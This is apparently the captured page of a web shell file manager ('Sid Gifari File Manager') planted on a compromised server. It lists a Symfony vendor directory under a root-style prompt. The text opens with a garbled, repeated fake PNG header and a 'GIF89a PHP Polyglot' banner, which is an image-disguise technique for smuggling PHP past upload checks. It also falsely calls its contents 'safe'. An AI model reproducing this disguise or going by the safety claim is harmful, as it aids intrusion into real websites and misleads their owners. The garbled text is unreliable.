$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / cpmonitor.on-forge.com / vendor / symfony / mime / Header /
root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/vendor/symfony/mime/Header$


NameSizePermAction
📄 AbstractHeader.php 11036 bytes
📄 DateHeader.php 1380 bytes
📄 HeaderInterface.php 1410 bytes
📄 Headers.php 9199 bytes
📄 IdentificationHeader.php 2384 bytes
📄 MailboxHeader.php 1968 bytes
📄 MailboxListHeader.php 3175 bytes
📄 ParameterizedHeader.php 6366 bytes
📄 PathHeader.php 1275 bytes
📄 UnstructuredHeader.php 1279 bytes